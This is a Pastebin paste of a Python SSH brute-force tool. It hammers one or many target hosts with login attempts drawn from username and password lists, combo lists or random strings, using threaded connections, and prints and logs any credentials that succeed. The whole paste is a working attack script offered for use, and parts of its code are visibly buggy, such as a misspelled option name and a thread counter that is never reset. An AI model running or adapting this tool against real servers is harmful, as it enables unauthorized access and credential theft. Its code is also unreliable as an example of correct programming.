Advertisement
Guest User

Untitled

a guest
Mar 19th, 2017
107
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Python 12.33 KB | None | 0 0
  1. '''
  2. Created on Aug 25, 2011
  3.  
  4. @author: r4stl1n
  5. '''
  6.  
  7. import sys
  8. import random
  9. from optparse import OptionParser
  10.  
  11. import Util
  12. from Connection import Connection
  13.  
  14. class SSHBruteForce():
  15.  
  16.     def __init__(self):
  17.         self.info = "Simple SSH Brute Forcer: By r4stl1n"
  18.         self.targetIp = ""
  19.         self.targetPort = 0
  20.         self.targets = []
  21.         self.usernames = []
  22.         self.passwords = []
  23.         self.connections  = []
  24.         self.amountOfThreads = 0
  25.         self.currentThreadCount = 0
  26.         self.timeoutTime = 0
  27.         self.outputFileName = None
  28.         self.singleMode = False
  29.         self.verbose = False
  30.         self.bruteForceLength = 0
  31.         self.bruteForceAttempts = 0
  32.         self.bruteForceMode = False
  33.         self.characters = "abcdefghijklmnopqrstuvwxyz_0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ"
  34.        
  35.     def startUp(self):
  36.         usage = '%s [-i targetIp] [-U usernamesFile] [-P passwordsFile]' % sys.argv[0]
  37.        
  38.         optionParser = OptionParser(version = self.info, usage = usage)
  39.  
  40.         optionParser.add_option('-i',  dest = 'targetIp',              
  41.                                 help = 'Ip to attack')  
  42.         optionParser.add_option('-p',  dest = 'targetPort',            
  43.                                 help = 'Ip port to attack', default = 22)
  44.         optionParser.add_option('-d', dest='typeOfAttack',
  45.                                 help = 'Dictionary Attack', default = False)
  46.         optionParser.add_option('-a', dest='attemptAmount',
  47.                                 help = "Number of attempts before stopping", default = 2)
  48.         optionParser.add_option('-l', dest='lengthLimit',
  49.                                 help = 'Length of bruteforce strings', default = 8)
  50.         optionParser.add_option('-I',  dest = 'targetsFile',
  51.                                 help = 'List of IP\'s and ports')
  52.         optionParser.add_option('-C',  dest = 'combolistFile',              
  53.                                 help = 'Combo List file')
  54.         optionParser.add_option('-U',  dest = 'usernamesFile',              
  55.                                 help = 'Username List file')  
  56.         optionParser.add_option('-P',  dest = 'passwordsFile',          
  57.                                 help = 'Password List file')
  58.         optionParser.add_option('-t',  type = 'int', dest = 'threads',
  59.                                 help = 'Amount of Threads', default = 10)
  60.         optionParser.add_option('-T',  type = 'int', dest = 'timeout',
  61.                                 help = 'Timeout Time', default = 15)
  62.         optionParser.add_option('-O', dest = "outputFile",
  63.                                 help = 'Output File Name', default = None)
  64.         optionParser.add_option('-v',  '--verbose', action='store_true',
  65.                                 dest='verbose', help='verbose')
  66.  
  67.         (options, args) = optionParser.parse_args()
  68.  
  69.         #First a check is used to see if there is at least a singleIp set or a targetList set
  70.         if not options.targetIp and not options.targetsFile:            
  71.             optionParser.print_help()
  72.             sys.exit(1)
  73.            
  74.         else:
  75.             #Check to see if we are running a dictionary attack or a bruteforce
  76.             if bool(options.typeOfAttack) == True:
  77.                 #Then another check to make sure the Username list and passwordlist are filled
  78.                 if (options.usernamesFile and options.passwordsFile) or options.combolistFile:
  79.                     #Then we check if it is a single ip only
  80.                     if options.targetIp and not options.targetsFile:
  81.                         self.singleMode = True
  82.                         self.singleTarget(options)
  83.                     elif not options.targetIp and options.targetsFile:
  84.                         self.multipleTargets(options)
  85.                     else:
  86.                         optionParser.print_help()
  87.                         sys.exit(1)
  88.                 else:
  89.                     optionParser.print_help()
  90.                     sys.exit(1)
  91.             else:
  92.                 #setup the brtue force
  93.                 self.bruteForceMode = True
  94.                 #Then we check if it is a single ip only
  95.                 if options.targetIp and not options.targetsFile:
  96.                     self.singleMode = True
  97.                     self.singleTarget(options)
  98.                 elif not options.targetIp and options.targetsFilet:
  99.                     self.multipleTargets(options)
  100.                 else:
  101.                     optionParser.print_help()
  102.                     sys.exit(1)
  103.  
  104.     def singleTarget(self,options):
  105.         self.targetIp  = options.targetIp
  106.         self.targetPort = options.targetPort
  107.         self.amountOfThreads = options.threads
  108.         self.timeoutTime = options.timeout
  109.         self.outputFileName = options.outputFile
  110.         self.verbose = options.verbose
  111.         self.bruteForceLength = options.lengthLimit
  112.         self.bruteForceAttempts = options.attemptAmount
  113.        
  114.         if bool(options.typeOfAttack):          
  115.             if options.combolistFile:
  116.                 self.usernames, self.passwords = self.__seperateDataFromComboList(options.combolistFile)
  117.             else:
  118.                 self.usernames = Util.fileContentsToList(options.usernamesFile)
  119.                 self.passwords = Util.fileContentsToList(options.passwordsFile)
  120.             self.showStartInfo()
  121.             self.dictionaryAttackSingle()
  122.         else:
  123.             self.showStartInfo()
  124.             self.bruteForceSingle()
  125.  
  126.     def multipleTargets(self,options):
  127.         self.targets = Util.fileContentsToTuple(options.targetsFile)
  128.         self.amountOfThreads = options.threads
  129.         self.timeoutTime = options.timeout
  130.         self.outputFileName = options.outputFile
  131.         self.verbose = options.verbose
  132.         self.bruteForceLength = options.lengthLimit
  133.         self.bruteForceAttempts = options.attemptAmount
  134.  
  135.         if bool(options.typeOfAttack):
  136.             if options.combolistFile:
  137.                 self.usernames, self.passwords = self.__seperateDataFromComboList(options.combolistFile)
  138.             else:
  139.                 self.usernames = Util.fileContentsToList(options.usernamesFile)
  140.                 self.passwords = Util.fileContentsToList(options.passwordsFile)
  141.             self.showStartInfo()
  142.             self.dictionaryAttackMultiple()
  143.         else:
  144.             self.showStartInfo()
  145.             self.bruteForceMultiple()
  146.    
  147.     @staticmethod
  148.     def __seperateDataFromComboList(comboListFile):
  149.         usernames = []
  150.         passwords = []
  151.         for t in Util.fileContentsToTuple(comboListFile):
  152.             usernames.append(t[0])
  153.             passwords.append(t[1])
  154.         return usernames, passwords
  155.  
  156.  
  157.     def showStartInfo(self):
  158.         print("[*] %s " % self.info)
  159.         if self.singleMode:
  160.             print("[*] Brute Forcing %s "  % self.targetIp)
  161.         else:
  162.             print("[*] Loaded %s Targets " % str(len(self.targets)))
  163.  
  164.         if self.bruteForceMode == False:
  165.             print("[*] Loaded %s Usernames "   % str(len(self.usernames)))
  166.             print("[*] Loaded %s Passwords "   % str(len(self.passwords)))
  167.         print("[*] Brute Force Starting ")
  168.        
  169.         if self.outputFileName is not None:
  170.             Util.appendLineToFile("%s " % self.info, self.outputFileName)
  171.             if self.singleMode:
  172.                 Util.appendLineToFile("Brute Forcing %s "  % self.targetIp, self.outputFileName)
  173.             else:
  174.                 Util.appendLineToFile("Loaded %s Targets " % str(len(self.targets)),  self.outputFileName)
  175.             Util.appendLineToFile("Loaded %s Usernames "   % str(len(self.usernames)), self.outputFileName)
  176.             Util.appendLineToFile("Loaded %s Passwords "   % str(len(self.passwords)), self.outputFileName)
  177.             Util.appendLineToFile("Brute Force Starting ", self.outputFileName)
  178.  
  179.     def dictionaryAttackSingle(self):
  180.         for username in self.usernames:
  181.             for password in self.passwords:
  182.  
  183.                 self.createConnection(username, password, self.targetIp,
  184.                                       self.targetPort, self.timeoutTime)
  185.                 if self.currentThreadCount == self.amountOfThreads:
  186.                     self.currentThreadResults()
  187.         self.currentThreadResults()
  188.                    
  189.     def dictionaryAttackMultiple(self):
  190.         for target in self.targets:
  191.             for username in self.usernames:
  192.                 for password in self.passwords:
  193.                     self.createConnection(username, password, target[0],
  194.                                           int(target[1]), self.timeoutTime)
  195.                     if self.currentThreadCount == self.amountOfThreads:
  196.                         self.currentThreadResults()
  197.         self.currentThreadResults()
  198.        
  199.     def bruteForceSingle(self):
  200.         for x in range(int(self.bruteForceAttempts)):
  201.             randomUserString = ""
  202.             randomPasswordString = ""
  203.             randomStringLength = random.randint(4,int(self.bruteForceLength))
  204.             for y in range(randomStringLength):
  205.                 randomUserString = randomUserString+random.choice(self.characters)
  206.            
  207.             randomStringLength = random.randint(4,int(self.bruteForceLength))
  208.            
  209.             for z in range(randomStringLength):
  210.                 randomPasswordString = randomPasswordString + random.choice(self.characters)
  211.            
  212.             self.createConnection(randomUserString, randomPasswordString, self.targetIp,
  213.                 self.targetPort, self.timeoutTime)
  214.             if self.currentThreadCount == self.amountOfThreads:
  215.                 self.currentThreadResults()
  216.         self.currentThreadResults()
  217.  
  218.     def bruteForceMultiple(self):
  219.         for target in self.targets:
  220.             for x in range(self.bruteForceAttempts):
  221.                 randomUserString = ""
  222.                 randomPasswordString = ""
  223.                 randomStringLength = random.randint(4,self.bruteForceLength)
  224.                
  225.                 for y in range(randomStringLength):
  226.                     randomUserString = randomUserString+random.choice(self.characters)
  227.                
  228.                 randomStringLength = random.randint(4,self.bruteForceLength)
  229.                
  230.                 for z in range(randomStringLength):
  231.                     randomPasswordString = randomPasswordString + random.choice(self.characters)
  232.  
  233.                 self.createConnection(randomUserString, randomPasswordString, target,
  234.                     self.targetPort, self.timeoutTime)
  235.                 if self.currentThreadCount == self.amountOfThreads:
  236.                     self.currentThreadResults()
  237.  
  238.         self.currentThreadResults()
  239.  
  240.     def createConnection(self, username, password, targetIp, targetPort, timeoutTime):
  241.         connection = Connection(username, password, targetIp, targetPort, timeoutTime)
  242.         connection.start()
  243.  
  244.         self.connections.append(connection)
  245.         self.currentThreadCount += 1
  246.         if self.verbose:
  247.             print("[*] Adding Target: {0}, Testing with username: {1}, testing with password: {2}" .format(targetIp, username, password))
  248.        
  249.     def currentThreadResults(self):
  250.         for connection in self.connections:
  251.             connection.join()
  252.  
  253.             if connection.status == 'Succeeded':
  254.                 print("[#] TargetIp: %s " % connection.targetIp)
  255.                 print("[#] Username: %s " % connection.username)
  256.                 print("[#] Password: %s " % connection.password)
  257.                
  258.                 if self.outputFileName is not None:
  259.                     Util.appendLineToFile("TargetIp: %s " % connection.targetIp, self.outputFileName)
  260.                     Util.appendLineToFile("Username: %s " % connection.username, self.outputFileName)
  261.                     Util.appendLineToFile("Password: %s " % connection.password, self.outputFileName)
  262.                    
  263.                 if self.singleMode:
  264.                     self.completed()
  265.             else:
  266.                 pass
  267.    
  268.         self.clearOldThreads()
  269.  
  270.     def clearOldThreads(self):
  271.         self.connections = []
  272.         self.threadCount = 0
  273.    
  274.     def completed(self):
  275.         print("[*] Completed Brute Force.")
  276.         sys.exit(0)
  277.        
  278. if __name__ == '__main__':
  279.     sshBruteForce = SSHBruteForce()
  280.     sshBruteForce.startUp()
  281.     print("[*] Brute Force Completed")
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement